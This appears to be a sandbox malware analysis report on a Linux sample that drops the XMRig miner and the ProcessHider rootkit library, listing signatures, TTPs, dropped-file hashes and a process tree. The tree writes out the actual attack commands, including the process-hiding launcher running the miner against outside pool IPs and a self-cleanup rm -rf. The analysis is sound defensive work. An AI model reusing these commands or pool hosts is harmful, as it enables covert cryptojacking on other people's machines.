Overview

overview

10

Static

static

1

x

ubuntu-18.04-amd64

10

Analysis

  • max time kernel
    149s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    10/09/2026, 12:24

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    x
  • Size 3.1MB
  • Sample260910-pk65bssgpf
  • SHA256 aee04196dacd805b71d4191dc91403feb208cdceff108e1e781c0d507fbeb1a1
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
antivmdefense_evasiondiscoveryexectionprocesshiderxmrighacktoolminerpersistenceprivilege_escalationrootkit

Malware Config

Signatures

  • Family: ProcessHider, ProcHider, libprocesshider

    ProcessHider aka ProcHider is a userland rootkit-style library that hides selected processes.

    rootkitprocesshider
  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Detects ProcessHider payload 1 IoCs
  • XMRig Miner payload 2 IoCs
    miner
  • Modifies the dynamic linker configuration file 2 TTPs 1 IoCs

    Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.

    exectionpersistenceprivilege_escalationdefense_evasion
  • Process hiding tool: XHide 1 IoCs

    XHide can hide process names and delay detection

    hacktooldefense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Security Software Discovery 1 TTPs 2 IoCs

    Adversaries may attempt to discover installed security software and its configurations.

    discovery
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Discovers running processes 1 TTPs 2 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Reads CPU attributes 1 TTPs 48 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/x
    /tmp/x
    1⤵
    • Modifies the dynamic linker configuration file
    • Deletes itself
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:1501
    • /bin/sh
      sh -c "tar -xvzf xmrigroot.tgz"
      2⤵
        PID:1510
        • /bin/tar
          tar -xvzf xmrigroot.tgz
          3⤵
          • Writes file to tmp directory
          PID:1511
          • /usr/local/sbin/gzip
            gzip -d
            4⤵
              PID:1512
            • /usr/local/bin/gzip
              gzip -d
              4⤵
                PID:1512
              • /usr/sbin/gzip
                gzip -d
                4⤵
                  PID:1512
                • /usr/bin/gzip
                  gzip -d
                  4⤵
                    PID:1512
                  • /sbin/gzip
                    gzip -d
                    4⤵
                      PID:1512
                    • /bin/gzip
                      gzip -d
                      4⤵
                        PID:1512
                  • /bin/sh
                    sh -c "ps aux | grep -i 'ALIENS' | grep -v grep | awk '{print \$2}'"
                    2⤵
                    • Security Software Discovery
                    PID:1513
                    • /bin/grep
                      grep -v grep
                      3⤵
                        PID:1516
                      • /bin/grep
                        grep -i ALIENS
                        3⤵
                          PID:1515
                        • /bin/ps
                          ps aux
                          3⤵
                          • Discovers running processes
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:1514
                        • /usr/bin/awk
                          awk "{print \$2}"
                          3⤵
                            PID:1517
                        • /bin/sh
                          sh -c "ps aux | grep -i 'UFO_' | grep -v grep | awk '{print \$2}'"
                          2⤵
                          • Security Software Discovery
                          PID:1518
                          • /usr/bin/awk
                            awk "{print \$2}"
                            3⤵
                              PID:1522
                            • /bin/grep
                              grep -v grep
                              3⤵
                                PID:1521
                              • /bin/grep
                                grep -i UFO_
                                3⤵
                                  PID:1520
                                • /bin/ps
                                  ps aux
                                  3⤵
                                  • Discovers running processes
                                  • Reads CPU attributes
                                  • Reads runtime system information
                                  PID:1519
                              • /tmp/.mx/h64
                                ./h64 -s -bash ./xm64_linux -o 37.120.239.71:8000 -u ALIENS_root_X -p x --tls -B -o 37.120.239.71:8727 -u ALIENS_root_X -p x -B -o 37.120.239.71:9999 -u ALIENS_root_X -p x -B -o 159.65.54.221:8080 -u ALIENS_root_X -p x -B
                                2⤵
                                • Executes dropped EXE
                                PID:1523
                              • /tmp/.mx/xm64_linux
                                "-bash " -o 37.120.239.71:8000 -u ALIENS_root_X -p x --tls -B -o 37.120.239.71:8727 -u ALIENS_root_X -p x -B -o 37.120.239.71:9999 -u ALIENS_root_X -p x -B -o 159.65.54.221:8080 -u ALIENS_root_X -p x -B
                                2⤵
                                • Checks hardware identifiers (DMI)
                                • Reads hardware information
                                • Checks CPU configuration
                                • Reads CPU attributes
                                • Enumerates kernel/hardware configuration
                                PID:1523
                              • /bin/sh
                                sh -c "rm -rf .mx"
                                2⤵
                                  PID:1525
                                  • /bin/rm
                                    rm -rf .mx
                                    3⤵
                                      PID:1531

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      a
                                      • Path /tmp/.mx/a
                                      • Size 25B
                                      • SHA256 8db5b891b3940d63857c790e9c186cc7ef05c714ec51193b1ddac939957626e3
                                      • MD5 SHA1 SHA512
                                      Submit Download

                                      h64
                                      • Path /tmp/.mx/h64
                                      • Size 818KB
                                      • SHA256 7fe9d6d8b9390020862ca7dc9e69c1e2b676db5898e4bfad51d66250e9af3eaf
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      libSSL2.3.0.so
                                      • Path /tmp/.mx/libSSL2.3.0.so
                                      • Size 12KB
                                      • SHA256 0ab637e3546f08c4f3bf370089b781d99794cf450eab6a2eb159f285c604e5cb
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      x
                                      • Path /tmp/.mx/x
                                      • Size 793KB
                                      • SHA256 b221df2ecf86168b656b6a6080b1221c4e7c325e909214710f8c0a800b7c48e5
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      xm64_linux
                                      • Path /tmp/.mx/xm64_linux
                                      • Size 7.9MB
                                      • SHA256 b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      xmrigroot.tgz
                                      • Path /tmp/xmrigroot.tgz
                                      • Size 4.0MB
                                      • SHA256 abcc878617e2c18523ebf8af01c0c47272062f98fa8b6a9d927c6802c95696e2
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download